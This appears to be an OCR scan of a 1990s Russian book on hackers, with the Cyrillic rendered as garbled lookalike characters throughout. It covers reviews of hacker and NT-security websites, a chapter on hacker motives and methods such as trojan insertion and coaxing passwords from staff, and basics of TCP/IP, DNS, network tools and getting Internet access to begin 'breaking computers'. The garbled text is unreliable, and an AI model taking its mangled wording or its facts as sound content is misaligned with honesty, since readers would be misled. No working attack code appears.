U MMEHHO uX MHMopMalMoHHble Web-pecypchl yallle BCero MoaBEpraroTcs
aTake XaKepos.

«Teppuropust B310omMa», uiu HackZone — o4yeHb LIMBUIM30BaHHBIN
pPYCCKUIT XakepcKuit caiiT. Ha aTMX cTpaHuIaX Bac IPUBETCTBYIOT JIIOIU, CIIO-
COOHBIE M3BSICHATLCSI Ha BIIOJIHE JINTEPATYPHOM SI3bIKE, 3I€Ch MPOBOAMTCS
KOHKYpC CTaTeil 0 Xakepax, IMyOJIMKyeTCs B pyCCKOM TIepeBoje 3HAMEHHUTOE
npousBenaecHue bproca CrepimHra «Oxora Ha xakepoB». B pasmenre «3akoH
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€CTh 3aKOH» HAUMHAIOIIUIA B3JIOMIIUK MOXET 03HAKOMUTHLCS C TEKCTAMU OC-
HOBHBIX 3aKOHOB P® 0 npaBoBoii 0XpaHe KOMITbIOTEPHBIX ITPOrpaMM, YTOOKI
BCera OTAaBaTh cebe OTYET B TOM, Ha KaKOil CPOK MOTYT MOTSIHYTh T€ WJIU
uHbIe aeiictBusi. CaMblii MIHTEPECHBIH pa3/iesl — 3TO CTAThU: 3[1eCh MOXHO y3-
HaTh O 3HAMEHUTOI McTopuu co B3ioMoM Cutu-baHka, o ciabocTsx ornepa-
oHHo# cucteMbl Windows NT, 0 TOM, HACKOJIBKO XOPOIIIO 3allluIleHa OT
BTOPXXEHUSI BHYTPeHHsS ceTh Komranuu Pepsi-Cola... Bcem cratesm, npen-
CTaBJIECHHBIM B pa3zieie, MOXHO TYT XK€ BBHICTABUTh OLICHKMU.

Ha cepBepe Takxe ImyGINKyeTCs eXeHENETbHOE 0003pEHNE XaKEPCKHUX
7 aHTU-XaKePCKUX CaiTOB IMoA pedakiueil Imurpust JleoHoBa 1 ITOCTOSHHO
00HOBIIAIOTC HOBOCTH. CTpannuka «I1oaImonbe» ComepKUT KOJIEKINIO pac-
CKa30B 0 HAIlTyMeBIINX XaKEPCKMX aTtakaX. EcTe u (hopyM, rie MOXHO IT000-
IIATHCA B pEATBHOM BPEMEHH C IPYTUMHM ITOCETUTEISIMU CaiiTa.

Ha caHkT-neTepOyprckom cepBepe Xpress.ru XKHBeT 3a0aBHOE «0003pe-
HUE MUPATCKUX TEXHOJIOTUii», KOTOopoe HasbiBaeTcsl «Beuepumit D2MAC».
D2MAC — 3T0 oauH U3 TeJIEBU3UOHHBIX CTaHAAPTOB BEIIAHMSI, KOTOPBIM
MOJIB3YIOTCSI «BCE MaJIO-MaJIbCKU MPUINYHBIe» CIYTHUKOBBIE KaHaiabl TB.
O0603peHue MOCBAIIEHO TOMY, KaK COOCTBEHHBIMU CUJIaMU HACTPOUTH TIOHED
Ha CIYTHUKOBBIN KaHaJ, MOAMPABUTh MOJOKEHNE TapeJKU-aHTeHHBI... Eciaun
y Bac JIoMa YCTaHOBJIeHA CITYTHUKOBAsI aHTEHHa, ¢ Hell BO3HUKJIM KaKue-I1u00
Mpo0JieMbl, a YCTAaHOBIIMKA BbI3bIBATh HE XOUETCS — OTMpaBJsiTeCh B
Internet, 1 BO3MOXHO, COBEThI OT AjlekcaHapa bop3oBa moMoryT Bam crpa-
BUTbCS camMoMy. Kak muIeT aBTOp, €CIM YX Bbl CyMeJIu J00paThbcsl 10 €ro
cTpaHuUlbl B Internete, TO CMyTHUKOBYIO aHTEHHY CMOXETe HACTPOUTh U MO-
naBHo! Utak, «BeuepHuit D2MAC» npenjiaraer HOBOCTA U3 MUpPa TEXHOJIO-
M CIyTHUKOBOTO BelIaHUs, ONMMCAHMWE ammapaTypbl, IMOJE3HbIE COBETHI
1 paccKasbl O TOM, KaK B3JIaMbIBAIOT CITyTHUKOBbBIE KaHAJIbI.

OnepanuonHas cuctema Windows NT ucrnonb3yeTcst ceituac mosce-
MECTHO, U TeM, KTO C Heil paboTaeT, MoJie3HO ObLIO Obl 3HATh, KaK 3alllUTUTh
9Ty cucTeMy OT nonbIToK B3ioMa. Cailt NT Security, Kak sIBCTByeT U3 Ha3Ba-
HUS1, TIOJTHOCTBIO MOCBSIILIEH MpobjieMaM 0e30MacHOCTH ONEePaliMOHHON crc-
TeMbl Windows NT u npenjaraet BCeBO3MOXHbIE PELIENThI 3alIUThl — HAUYM-
Hasi CO CIOCOOOB HACTPOMKM M 3aKaHUYMBAsI MaJIEHbKUMU MPOrpaMMKaMU,
JlaTalouMMuy Opelly B cucTeMe 6e30MacHOCTH. 3/1eCh, Kak 1 HAa MHOXECTBE Xa-
KEPCKUX CANTOB, paccKa3blBaeTCsl O TOM, C KaKMX CTOPOH Yallle BCEro MojiBep-
ratotcs arake Kommnblotepbl ¢ Windows NT 1 KaKUMU MHCTPYMEHTaMHU MOJIb-
3YIOTCSl JIJISI TOrO, YTOObI BBIBECTM TaKKWe KOMIIbIOTEPbI U3 CTpOsl JUOO
pa3BenaTh HyxXKHYI0 MHopMalrio, onHako Ha caiite NT Security yrop nena-
10T HE Ha TEXHOJIOTUIO aTaKU, a Ha TEXHOJIOTHIO 3alUThI OT Hee. CailT 0OHOB-
JisieTcsl o Mepe oOHapyXeHUsl HOBbIX Opeteit B 3auute Windows NT u o
Mepe MOSIBJIEHUsI HOBBIX CIIOCOOOB BHIBECTU M3 CTPOSI ATY CUCTEMY — TO €CTh
HE pexe, YeM pa3 B MecsIll.
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CrpaHuila «XaKepcTBO ¢ CAaMOro Hayaja» Tak o3arjiaBjicHa He 3ps: Ha
Hell eCTh OTVIMYHOE PYKOBOICTBO JUTST HAYMHAIOIIMX XaKePOB, M KaXXIbIi, KO-
My B30pesio B TOJIOBY CTaTh B3JOMIIUKOM-TIPOGECCHOHAIOM, MOXET Cpasy
OIICHUTb, KAKOBHI €TI0 CHJIBI M BO3MOKHOCTHU M XOUET JIU OH B IEACTBUTEIBHO-
CTU 3THM 3aHUMAaThCsl. PYKOBOICTBO BechbMa IeTalbHOE, a CITMCOK PEKOMEH-
IyeMOW JIUTePaTyphl HACTOJIBKO IUTMHEH, YTO IeCATh Pa3 3aIyMaeIlbest, IPexX-
JIe YeM KYyIHTh M TIPOYECTh BCE 3TU KHUTU — TeM OoJiee, YTO GOJIBIIMHCTBO
YIIOMSTHYTBIX YYeOHUKOB 1 CITPABOYHUKOB B Poccuu cTOUT BechMa HelleleBo.

Paznen «<Happy Hackers Guide» — «PyKOBOJCTBO cUacT/IMBOTO XaKe-
pa» — OIMCHIBAET BITOJTHE JIETATbHBIC U O€3BPEIHBIC XaKePCKUe TeXHUKU. JIto-
60My ToTh30Bareso Internet GymeT MHTEPECHO U TOJIE3HO Y3HATH, KaK CIIpa-
BUTBHCS C HAJOEBIIEH peKJIaMHOM TTOYTOM WIIA 3aIlIMTUTH CBOM KOMITBIOTEDP OT
CaMBbIX pacIpoCTpaHEHHBIX aTaK U3BHE.

3asBieHUe co3aaTeseil 3TOro caiTa rIacuT, YTO OH MpeaHa3HAuYeH s
TOTO, YTOOBI 00JIETYUTb MPOABUHYTHIM TMOJIB30BATENSIM JOCTYIT K HOBOCTSIM U
MOJIE3HOI MH(pOPMALNU O OE30IaCHOCTU KOMITBIOTEPHBIX CUCTeM. B mpuH-
LIMIIe, TO XK€ caMoe TUIIYT MOYTH Ha BCEX XaKePCKUX cepBepax, HO y 3TOT0
caiiTa ecTb CBOSI cIelMbuUKa: B OCHOBHOM 3[€Ch PAacCKa3bIBAIOT O B3JIOME
Internet-cepBepoB, B OCOOEHHOCTH O TaKMX CIyJasix B3ioMa, B pe3yJbTaTe KO-
TOPBIX MOAMEHSIIOT 3arjaBHYI0 CTPaHMILY cepBepa. ABTOPbI OOBSICHSIOT CBOM
MHTEPEC TeM, YTO O B3JIOME MHTEPHETOBCKUX CEPBEPOB B Mpecce U Ha TeJIeBH-
JIEHUX OOBIYHO PACCKa3bIBAIOT BCSIKKME HEOLUIMIIBI.

Cepsep hacked.net Bceria rotoB npeioCTaBUTh XKYypHAIUCTaM JAOCTO-
BEpHYI0 MH(MOPMALIKIO O TOM WJIX UHOM B3JIOME, YTOObI U30€XKaTh OIIMOOK U
nombicioB. Ha cepBepe Macca MHTEpECHENIIIUX PECYPCOB: HANIPUMED, 37eCh
MOXHO y3HaTb, CKOJIbKO cepBepoB BceMupHoii [TayTuHbI Ob110 B3J1IOMaHO 3a
Bech npoleaui roa. [yonukyercst exxeMecsIYHbIi XypHal XakepcKOoro co-
ob1ecTsa.

CaMmblif 3HAMEHUTBIN XaKepPCKMil albMaHaX — 3TO, KOHEYHO, «2600».
BbIXoauT oH eXXeKBapTaJlbHO, TO €CTh BCETO YEThIPE pa3a B rofl, HO CAMT cyIlie-
CTBYET HACTOJBKO JTaBHO, YTO B OXMIAHUM CBEXETro HOMepa BCeTaa MOXKHO
yOUTB BpeMsI 32 YTEHHEM He MeHee MHTEPeCHBIX apXuBoB. CaM aJlbMaHax myo-
JmKyetcs yxe 6osee 10 jget, a uMeHHO — ¢ 1984 rona (Bo3pacT aJ1s1 XypHaja,
TeM 0oJiee KOMITBIOTEPHOTO, OoJiee YeM ITOYTeHHEIN). Ha caiiTe MOXHO yBH-
JIeTh BCce O0JIOXKKM OyMaxkHOU Bepcuu ajibMaHaxa ¢ 1987 roma mo 1995-ii.
CchliKa ¢ 00JIOXKKHM HOMepa BelleT K M30paHHBIM MaTepuaiaM 13 Hero.

Kak u3BecTHO, KaxIblil MeCsI1l YuTaTeu albMaHaxa, TO eCTb XaKephl,
BCTPEYAIOTCS B 3apaHee HA3HAYEHHOM MECTe — MPAKTUIECKU B KaXKIOM KPYII-
HOM rOpoJie MHpa eCTh TAKOE MECTO BCTPeur xakepoB. Ha oTaenbHol cTpaHu-
11 TIPUBOIUTCS CIIMCOK BCEX TAKMX MECT — BKJIIOYAsl OMHO JOCTATOYHO W3-
BecTHOe Kade B MocKBe.
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OnmHo M3 caMbIX 3a0aBHBIX MECT Ha CepBepe — Tajiepesi B3IOMaHHBIX
BeO-CaiiTOB, Tlle MOXXHO YBUIETh, KaK CAlT BBITJISIEI IO B3JIOMA U KaK IOCJIe.
lamepest 5Ta BOMCTUHY OeCIIEHHA, MOCKOJIBKY KPYITHBIE KOMMEpPYeCKHe U
obUIIMaTbHBIC CAUTHI OOBIYHO BOCCTAHABIMBAIOT OYEHb OBICTPO — a BEIb TaK
WHTEPECHO ITOCMOTPETh, IO YeTO TOXOAUT XaKepcKasi (haHTa3usl Py MOAMEHE
IJTaBHOM CTpaHUIIbI cepBepal

LOpht (uuTaetcs kak «10d1») Heavy Industries — BceMupHo n3BeCTHOE
00beIMHEHNE XaKepoB, KOTOPOE CYIIECTBYET MPUOIM3UTEIBHO TaK XKe TaBHO,
Kak ¥ xxypHai 2600. Ha caiiTe 3Toro oobe1HEeHUs ceifuac pacipoCTpaHsIeTCs
rnocieaHee MoliHoe opyaue B3ioma — LOpht Crack Bepcuu 2.0, mporpamma,
KOTOpasl BeIy>XXKMBaeT napoyiv u3 cucreMsl Windows NT.

B apxuBax caiiTa Bbl HalifeTe Maccy PyKOBOICTB K IEHCTBUIO, Ma-
HU@ECTOB U CIPABOYHBIX MAaTePUATOB, BKJIIOYAsl apXUBbI CTaTeil U3 TAKUX U3-
nanuii, kKak Mondo 2000. B paszgene «JlabopaTopusi» Bac XKIyT OIMMCAHUS
MPOEKTOB, HaJl KOTOPHIMU B JAHHBIf MOMEHT pabO0TalOT XaKepbl — MPH XeJa-
HUM MOXHO BHECTH CBOM IMOCWUJIBHBIM BKJIaA B pa3pabOTKy ouepeaHOn IIpo-
rpaMMbl WM MIOYYaCTBOBATh B MPOCBETUTENbCKOM aKIMU. ECTh U cTpaHUuKa,
IJIe MOXHO 3aKa3aTh pa3juyHbIe TOBAPbl — HAMIPUMEP, KOMIAKT-AUCKH C Xa-
KepCcKuMU ImporpamMmMamMu. M, KoHeYHO, He 000IILIOCh 0€3 KMBOI'0 OOLLIEHMSI,
XOTS Ha 3TOM CaiiTeé OHO MMEET HECKOJIbKO CTpaHHYI0 (DOpMY: OJIHA U3 CTpa-
HULL COJAEPXKUT BUJEOTNA30K, KOTOPBI MO3BOJISET HAOMIOAATh 32 XaKepaMu
u3 rpynnsl LOpht B peaibHOM BpeMeHU. MHOrIa nx MOXXHO 3acTaTh 3a pabo-
YUM CTOJIOM Y YBUJETh, KAK OHM KOBBIPSIOTCS B KAKUX-TO XUTPbIX MUKPO-
cxemax.

Caiir Nomad Mobile Research Centre — «[lepenBrxxHoii ncciienona-
Tenbckuil 1IeHTp «HoMan» — mpeanaraer yxxe 3HaAKOMbIA HaM MO MPeAbIAy-
UM cepBepaM Habop: cHoBa Ge3onacHocTh Windows NT, pykoBojacTBa 1o
B3JIOMY Y 3allIUTE OT HETO, MOJIE3HbIE POrPaMMbI, pa3JIMuHast JTOKYMEHTAIIHsI.
Ha atom cepBepe Takke copepKuTcsl cTpaHulia poekra «[laHmopa», cBsizaH-
HOTO C B3JIOMOM ceTeBbIx cucteM Kommnanuu Novell. B paznene «Compute»
MOXKHO HaiTH CCBUIKU Ha CXOJHBIE IO TEME CaMThI.

Hy xakoii xe xakep 6e3 xxaproHa? YToOsI cTaTh «CBOMM» Cpeau IIPO-
(heccrnoHaIOB-KOMITBIOTEPIIIMKOB, HY>XKHO JIJIST HaYayia TOHUMAThb XOTs ObI Jie-
CATYIO YacTh TeX CJIIOBEYEK, KOTOPBIMU OHM TIEPeCHINaloT cBOIO peub. Ecte-
CTBEHHO, TOMBITKM COCTaBUTh CJIOBAaph KOMITBIOTEPHOTO M XaKePCKOTO
JKaproHa IpeanpuHUMaInch B Internet He pa3, 1 Ha 3TOM cepBepe BbI Haiie-
T€ OHY U3 MHOTOUMCJICHHBIX BEPCUIA TAKOTO CJIOBaps — BMECTe C UCTOpUEH
co3maHus 3Toro pecypca. Hamo oTMeTUTh, YTO MIMEHHO 3[IeCh pacIiojaracTcs
OCHOBHasi, obuiManbHas ctpaHuiia «HoBoro xakepckoro ciosapsi». Eciii Bam
€CThb YTO K HeMy I00aBUTh, O€3 KoJieOaHU I IIJTUTE CO3/IaTeIsIM caiiTa HOBBIE
CJIOBa, M, BO3MOXHO, OHU Yepe3 KaKoe-TO BpeMs BKITIOUAT UX B CIIOBApPh.
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AaBsa 9.
Xakep — 310 no4ytn Gakump

«PemMeci0» CKITOHHOTO K HaXKIBe KOMITBIOTEPHOTIO NMMupara UMECT MHO-
2KECTBO HIOAHCOB, OJHAKO MO>XHO BbIACINUTDL IBE OCHOBHbLIC IMHUU ITOBCACHUA
XaKepa, KOTOPLIC OIIPEACIIAIOT €TI0 JIUILIO.

* ITpoiienypa 37€KTPOHHOTO B3JIOMa C BBEEHUEM B CUCTEMY
CrieLMaJIbHOM MOAMPOrpaMMBbl, HAIIMCAHHOM, KaK IPpaBUJIO, Ha
s13bIKe acceMOiepa, WK Coco0 «TPOSTHCKOTO KOHSI».

B TexHMYEeCKOM OTHOILIEHUHU TaKO METOJ TOBOJILHO CJIOXEH
U JOCTYIEH HEMHOTHUM.

* BriBeabiBaHME TTApOJIEH U KOJIOB Y JIUII, pabOTaIOIINX
B UH(MOpMaLMOHHbBIX LIeHTpax. Hanpumep, y Oyxraatepckux
pabOTHUKOB WJIU Y CITyXallux 6aHKa.

O06a criocoba HampaBJIeHBI, KaK JIErKO J0raaaThCs, Ha MOJIyIeHUE He-
3aKOHHOM MaTepuaabHOI NpuObuIr. OHM CTaJIX BO3MOXHEI OJ1arogaps IInpo-
KOMY BHEJIPEHUIO B MUPOBOM COOOIIIECTBE Pa3HOTO PoJa CUCTEM SJIEKTPOH-
HBIX TUIaTeXei (Korma KJIMEHTHl CHUMAIOT JEHBIM MPU TTOMOIIM KPEIUTHBIX
KapTouekK uepe3 CIieliMalbHble aBTOMAThI WM TIEPEBOIAT KPYITHBIE CYMMBI C
OITHOTO cYeTa Ha JIPYroi, He BBIXOS M3 CBOETO oduca, ¢ yIaleHHOTO TepMU-
Haa).

C yBeqWYEHUEM 4YHUCJIA MOMOOHBIX CUCTEM, 3HAYMMOCTh 3aLIUThI
UH(pOpMALUK TTOBBICUJIACh BO MHOTO pa3. MUHAHCOBBIC YYPEXACHUSI BCETO
3eMHOrO I1apa 00eCOKOeHbl 0€30MaCHOCThIO CBOMX KOMITBIOTEPHBIX CETEN,
Ha YCOBEPIIEHCTBOBAHNE KOTOPBIX TPATIATCS MUJUIMOHBI JOJUTAPOB; CYUTAET-
cs, CUCTEMa 3alllUThI JOJKHA OOHOBIATHCS, MHAYE XaKephl MOAGEPYT K Heit
Koun!

CeromHst Mbl HaOJIIOJAaEM YAMBUTEIBHOE SIBJIEHUE, KOTIAa U B KPUMMU-
HaJIbHBIX Kpyrax 3amnajaa, U B ClIyX0ax TeXHUYeCcKol Oe3omacHocTH O0aHKOB
pPEe3KO TMOBBICWICS MHTEPEC K KIACCHBIM MPOTPAMMMCTAM M CIELMaIN-
CcTaM-3JIeKTpOHIIMKaM. MIx 60phrba HamOMUHAET CBOCOOPa3HOE «COCTSI3aHMe
WHTEJUIEKTOB», TJe TTobeauTesieM (C TTlepeMEeHHBIM YCIIeXOM) ObIBAeT TO 3alll-
LIAOIIASICS, TO HAMAAAIoIIast CTOPOHA.

Ho uiesnbio mpecTyIieHnit 2J1eKTPOHHBIX B3JIOMIIIMKOB JaJIeKO He BCe-
IIa sSBJIsIeTCsl 0OoTrallleHMe; HaMepeHUs MOIYT ObITh pa3Hble. B yacTHOCTH,
OUYEHb OCTPO MPOSBIISIETCS CTpeMJIeHHe caenaaTh cebe ums. M moartomy, Bepo-
SITHO, B YMCJIe XaKepOB HEMAJIO CTYJCHTOB U 1aXKe IKOJbHUKOB.

FOHBIIT TOJUTAHACKUI XaKep, B3TIOMAaBIIHiA KOMITbIoTepsl apmun CILA,
He 3apaboTaj HU IIeHTa, HO OH BeChMa «TPOMKO» TTPOJAEMOHCTPUPOBA CBOU
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CIIOCOOHOCTH, caeaB cebe, Kak CIICHHMAINCTY, OYCHDb HEIIJIOXYIO PEKIIaMy. Ero
TIOCTYITOK MO>XHO CPaBHUTDL C ITOJICTOM PYCTa Han KpaCHOﬁ rIomanbro.

OTMeTHUM 3/1eCh K€, YTO KOMITBIOTEPHOE MUPATCTBO UMEET XOPOIIIO 3a-
METHYIO TeHACHUMIO K OOBEAMHEHUIO. Y3Ke CYIIeCTBYET CIelMaTbHbIN MeX-
JIYHApPOJIHBIM XaproH XakKepoB, KOTOPbIM Moapa3ymMeBaeT MpuOaBieHHWE Ha
KOHIIE CJIOB OYKBBI «-Z» BMECTO «-$». CyIIIECTBYIOT M CHelIUaJIbHbIE CAalThl B
npocTpaHCcTBe Internet, rae BeneTcsl OTKPBIThIE OOMEH MOXUILEHHBIMU MPO-
rpaMmMaMu.

PaccmatpuBas B Internet MmaTepralibl 0 Xakepax, MOXKHO HalTH Hema-
JIO YAMBUTENBHOTO. 37eCh MOTYT, HallpUMep, COYMHUTD KaKylo-HUOYIb Mep-
30CTb M TOAMUCATh 3TO «YTMBO» MMEHEM H3BECTHOTO W BIIOJHE OJiaro-
MPUCTOMHOTO MUcaTeasd, M JaXe yKazaTb €ro BMPTYyaJbHBIM aapec C
MPeAIoKeHUEeM BbICKA3aThCsl O HAMMCAHHOM. 371eCh MOTYT 3aIlpoCTO MoaAOpo-
CUTb KOIIMIO CUCTeMHOro (aiijia, 3apaxkeHHOIo BUPYCOM. 3aech MOTYT... Jla
MaJio JId YTO 3[AeCh MOTYT elile!



Internet u Intranet 31

Internet u Intranet

fAaBa 1.
O6wume NpuHUMNbI NOCTPOEHUS, aapecauums

Internet — KkpynHeiiias KOMIIbIOTEPHAs CETh B MUPE, 00bEeIMHSIONIAs
MHOKECTBO KOMITBIOTEPOB, COEAMHEHHBIX CAMBIMU Pa3HOOOPAa3HBIMU CIIOCO-
O6aMu: OT Tese()OHHBIX JIMHUM 10 CUCTEM CITYyTHUKOBOM cBsi3u. B Internet uc-
MOJIB3YyeTCsl KOMILIEKT ITpoToKosioB TCP/IP, KoTophlil BKiTIoYaeT B ce0s:

* IP (Internet Protocol) — MexxceTeBoli MPOTOKOJI, KOTOPBIi
obecrieynBaeT TPAHCITOPTUPOBKY 0e3 TOITOTHUTETEHON
00pabOTKM JAaHHBIX C OMHOM MALIMHbBI HA IPYTYIO;

* UDP (User Datagram Protocol) — npoTokos
TTOJTb30BaTEILCKUX JaTarpaMM, 00ecTIeUBarOIINiI
TPaHCITOPTUPOBKY OTIEIBHBIX COOOIICHWI ¢ ToMOIIbIo 1P
6e3 IIPOBEePKU OIINOOK;

* TCP (Transmissing Control Protocol) — nmpoToko
yhIpaBJieHUs Tiepeaayeii, ooecreurBarolii TPaHCIIOPTUPOBKY
¢ nomouipio IP ¢ mpoBepKoil yCTaHOBIECHUSI COETUHEHMSI.

Kaxnapiit koMmribloTep, MoAKIO4YaeMblii K Internet, rmosyyaeT cBOM
yHUKanbHbIN [P-anpec.

Internet-agpec uMmeeT B IJIMHY YeThIpe OaliTa U COCTOUT U3 JABYX YACTEA:
cereBoii M MammHHON. [lepBast YacTh 03HAYAET JIOTUUECKYIO CeTh, K KOTOPOii
OTHOCHUTCS aipec; Ha OCHOBaHUU 3TOU MH(OPpMALIMK TPUHUMAIOTCS pELLIeHUs
o mapuipytusaiuu (routing). Bropas yacTe uaeHTUPULUUPYET KOHKPETHYIO
MainHy B cetd. [1o cornamenuro, IP-ampeca 3annchiBaoTcs Kak 1eCSITUYHEIS
yucia (D0 OMHOMY Ha KaXIbIi 0aiT), pa3fejeHHBIE TOYKaMU, HaIlpuMep
194.85.31.20.

AaBa 2.
AoMeHHag cuctema nmeH (DNS)

DNS (Domain Name System) — 3T0 pacrnpenejieHHasi 6a3a JaHHBIX,
KOTOpasi COOEPXUT MHMOPMALIMI0 O KOMITbIOTEpPAX, BKIIOYEHHBIX B CEThb
Internet. Xapakrep AaHHBIX 3aBUCUT OT KOHKPETHOI MAIIWHBI, HO Yallle
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Bcero nHdbopmMalys BKIOYaeT UMsI MalliMHbl, [P-anpec u naHHbIe 1151 Mapii-
pyTu3anuy mnouthl. s ymoOcTBa, OOJBIIMHCTBO KOMIIBIOTEPOB MMEIOT
uMmeHa. JloMeHHasi cucTeMa MMEH BBIMOJIHSIET HECKOJIbKO 3aiay, HO OcC-
HOBHas ee paboTa — npeoOpa3oBaHMe UMEH KOMIIbIOTepoB B IP-aapeca u Ha-
000poT.

ITpocrpancTBo uMeH DNS nmeer Bua aepeBa 1OMEHOB, C TTOJTHOMOYM-
SIMM, BO3PACTAIOIIMMU 10 Mepe MPUOIMKEHUsT K KOpHIO aepeBa. KopeHs ne-
peBa UMeeT UMs, TIOl HUM HaXOJSITCSI IOMEHbI BEPXHETO YPOBHSI (KOPHEBbBIE
noMeHbl). [To ncropuyeckuM NpuIrMHaM CyIeCTBYET 1Ba BUa JOMEHOB BEPX-
Hero ypoBHs. B CIIIA noMeHbl BEpXHETO YPOBHS OTPakaloT OpraHU3alMoH-
HYIO CTPYKTYpPY, 1, KaK IMPaBUjI0, UMEIOT TPeXOYKBEHHbIC UMEHA:

* .gOV — rOCyIapCTBEHHbIEC YUPEXKIACHU;
4 .mil — BOEHHBIEC YUYPEXKICHUSI,;

L 4 .com — KOMMEPYECKUE OPTaHU3ALIMN;

* .net — MOCTaBILIUKU CETEBLIX YCIIYT;

L 4 .0rg — OecrpuObUTbHBIE OpraHU3aLIUY;
* .edu — yueOHbIC 3aBeICHMSI.

st iomeroB BHe CIIIA, B COOTBETCTBUU C TEPPUTOPHATLHBIM PACITO-
JIOXEHUEM, UCTIONB3YIOTCS ABYXOYKBeHHBIE KOmbI cTpaH 1SO. Hampumep:

. www.spm.ru — B Poccun;

* www.berlin.de — B I'epmaHuu;

* www.hotex.nl — B Hunepnannax.
fAaBa 3.

Pab6ota B Internet

Brl MoxxeTe paboTaTh B Internet ¢ moMoIibo crielagabHBIX IIPOrpaMM.
Bot HekoTOpBIe U3 HUX:

. ping — TIO3BOJISIET OTIPENEITUTL BPpeMsT TIPOXOXKICHUS TTaKeTa 10
XOCTa.
. traceroute — MOKA3bIBAET IIYTh IPOXOXIACHUS ITAKETOB I10 CETU

(B8 Windows 95 u Windows NT — tracert.exe).

* nslookup — MMo3BoJIsIeT MpocMaTPUBaTh COAEPXKUMOE
DNS-cepBepos.
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L 4 telnet — ycTaHaBAMBAaET COEAMHEHUE C YIAJIEHHOI MaIIMHOM
(23 mopT) ¥ MO3BOJIIET BaM pabOTaTh B PEXKUME YAAJIEHHOTO
TEpMUHAaJA.
* ftp — nmo3BoJisieT nepeaaBaTh ailIbl MEXAy MallIMHAMU 110

npotokoay FTP (File Transfer Protocol) (21 mopT).

. finger — nokasbiBaeT MHGOPMALIUIO O TIOJIH30BATEIISIX,
HaxOISIIIUXCS B JaHHBIA MOMEHT Ha KaKO#-JI1M00 MaIlIMHe.

st padotel ¢ WWW (World Wide Web) ncnionb3yioTcsi mporpaMmMbl
Netscape Navigator, Internet Explorer u HekoTopble Apyrue. DTU NpOorpaMMbl
yCTaHaBJIMBAIOT coeuHeHre ¢ cepBepoM (80 mopT) u paboTalOT MO NPOTOKO-
oy HTTP.

Bascno: nnst paborsi ¢ ftp, telnet, finger 1 www He0OX0AMMO, UTOOBI HA
MallliHe, ¢ KOTOPOii BBl yCTaHABJIMBAeTe COCTMHEHNE, ObLIN 3aITyIEHBI COOT-
BETCTBYIOIIUE TIPOrpaMMBI-cepBepa.

AnaBa 4.
Kak noAyuutb pooctyn B Internet

9T0, BEPOATHO, OJAMH M3 CaMbIX HACYIIHbLIX BOIIPOCOB IJIA JII000rO0
HaYMHAIOIICTO IMOJIb30BaTECIA.

Kak mnokaspiBaeT TmpakTuKa, sl TOro, 4ToObl HayaTh JIOMaTh
KOoMIbIOTePHl B Internet, HEOOXOAUMO Y€ UMETh Tyla BBIXOH, MYCTh AaXe
BPEMEHHBI WIM MUHUMaJIbHBIA. He Bce Tak cCJIOXHO, Kak Bbl JymaeTe.
B Haie Bpemst mostyuuth A0cTyn B Internet He cocTaBisieT HUKaKKUX MPOOJIeM.
Bor HekoTophle U3 HUX:

* CaMblii IeTKMIT — €CJIM Balll MHCTUTYT (€Cid Bbl paboTaeTe Ha
Kadenape, To Bce MHOTOKPATHO YIPOIIAETCs) YKe IMOAKII0YEH
K Internet, To MOMbITATECH JOTOBOPUTHCS O TIPEIOCTABICHUN
BaM (WJIM Ballleil Kapeape) BbIxoaa Tyaa.

* Ecnu B BaiieM MHCTUTYTE HeT Internet, To 9TO Aaxe Jydllie —
BBI MOXXETE CTaTh OCHOBATEJIEM, OCTAeTCsI TOJIBKO IMTOUTH K
PYKOBOJCTBY U YOSITUTH MX B HEOOXOTUMOCTH TTOAKITIOUCHUS.
(KAK?!'Y naweeo aobumoeo uncmumyma Hem bixo00a
6 Internet?! Hem coocmeennoeo WWW-cepsepa ?! Hem daxce
anekmporHoil noumst ?! Jla nac ne 6ydym yeaxncams! Kasxcowtit
yeaxcaroujuii cebss BY3 doaxncen umems évixod 6 Internet!)
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* Ecnu Bam ynanoch yoeaAuTh HAYaJIbCTBO — Bbl BBIMTPATIH,
U y Bac Oynet cBoi, 6ecriaTHbi Internet.

* Ecnu BBI BCEPLE3 XOTUTE BCEM 3TUM 3aHUMATLCA, 3TO OOUH U3
CaMBbIX ITPOCTHIX HyTefI Ha4yaTb. qepe3 HCKOTOPOEC BPEMSA
2KCJIAaHUEC YTO-TO JIOMAThb IMPONaacT.

* Ecnu BbI paboTtaeTe B CONMAHON (prpMe, HEe UMEIOIIEel BhIX0Ia
B Internet, To BbIllIeNpUBEIeHHbIE PEKOMEHIALIMY TPUMEHUMBI
U B 3TOM CJyyae.

Ha sTtom ctoutr BPEMCHHO IMPEpBATh NMEPEUYNCICHUE U 3aMETUTDL. €CJIU
Yy BaC €CTb BOBMO2KHOCTDb BOCITOJIb30BaTbCs BbIICIICPCUYNUCICHHBIMUA crnocoba-
MU, HE YUTAWTE JAJblle 9Ty IJiaBy, a MOMNBITAUTECH IIPOCTO BOIUIOTUTbL HX
B XKM3Hb, N1 Yy BAC HC BOSBHUKHET MHOXKECTBa HpO6JTeM.

,HJIH BCEX OCTAJIbHBIX — IIPOOOJIKHUM:

* IInaTHeIi noctyn K Internet mpenocTaBiIsIIOT HAXOASIIIUECS
B BalleM ropojie GupMbl (TaK Ha3bIBaeMble ITPOBANICPHI).
MOXHO 3aMEeTUTb, YTO OOJILIIMHCTBY JIOJEl OriaTa uX yCayr
M0Ka He M0 KapMaHy, 0COOEHHO €CJIM JOCTYIM HY>XeH 0e3
onpe/esIeHHOI 11e1, T.e. Bbl He 3apabaTbiBaeTe ACHET,
ucrojb3ys Internet.

* Kpome Toro, ycayramu o npeaocTaBieHuIo 10CTyna
B Internet MoryT 3aHuMaThCs UPMBI, HAXOISIIIMECS 3a
MpeJeaMy Balllero ropojia Uin CTpaHbl, UCTOJIb3ysl B KAYECTBE
TpaHcnopta X.25 cetu (Hanpumep SPRINT).

fAaBa 5.
Cetn NOKeTHON KOMMYTALUU

O6Lwme NpVHLMMNbI NTOCTPOEHUS

OcHoBy X.25 cereii coctaBisitor LleHTtper Kommyranuu Ilaketos
(IKIT), pacnonoxkeHHbIE BO MHOTMX ropojiax 1 00ecreynBaroIme T0CTyIl K
cet. OOBIYHO aOOHEHT TOJIYYaeT AOCTYI K CETH, COSTMHSSCH C OIKanum
LIKII, T.e. MOXHO TTOJIYYUTH TOCTYIT K CETU U3 JIIOOOT0 MeCTa, TJIe eCTh TeJle-
¢oHHas cBs3b, 63 MPUBI3KU K KOHKpeTHOMY LIKITI.

AOOHEHTBI CeTH ITOAKIIOYAIOTCS K Hell IJI TOro, YTOOBI IepeaaBaTh
